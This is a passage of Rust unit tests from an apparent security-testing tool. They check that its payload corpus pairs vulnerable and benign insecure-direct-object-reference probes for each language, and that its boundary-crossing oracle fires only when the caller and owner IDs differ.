sink_callee: "__nyx_idor_lookup".into(),
args: vec![],
captured_at_ns: 1,
payload_id: "idor-test".into(),
kind: ProbeKind::IdorAccess {
caller_id: caller.into(),
owner_id: owner.into(),
},
witness: ProbeWitness::empty(),
}
}
#[test]
fn corpus_registers_unauthorized_id_for_each_supported_lang() {
for lang in LANGS {
let slice = payloads_for_lang(Cap::UNAUTHORIZED_ID, *lang);
assert!(
!slice.is_empty(),
"UNAUTHORIZED_ID missing for {lang:?}"
);
assert!(slice.iter().any(|p| !p.is_benign));
assert!(slice.iter().any(|p| p.is_benign));
}
}
#[test]
fn idor_payloads_pair_benign_per_lang() {
for lang in LANGS {
let slice = payloads_for_lang(Cap::UNAUTHORIZED_ID, *lang);
let vuln = slice.iter().find(|p| !p.is_benign).expect("vuln");
let resolved =
resolve_benign_control_lang(vuln, Cap::UNAUTHORIZED_ID, *lang)
.expect("benign control resolves");
assert!(resolved.is_benign);
match &vuln.oracle {
Oracle::SinkProbe { predicates } => assert!(
predicates
.iter()
.any(|p| matches!(p, ProbePredicate::IdorBoundaryCrossed))
),
other => panic!("expected SinkProbe, got {other:?}"),
}
}
}
#[test]
fn idor_predicate_fires_on_boundary_crossing() {
let oracle = Oracle::SinkProbe {
predicates: &[ProbePredicate::IdorBoundaryCrossed],
};
assert!(oracle_fired(&oracle, &outcome(), &[idor_probe("alice", "bob")]));
assert!(!oracle_fired(
&oracle,
&outcome(),
&[idor_probe("alice", "alice")]
));
assert!(!oracle_fired(&oracle, &outcome(), &[]));
}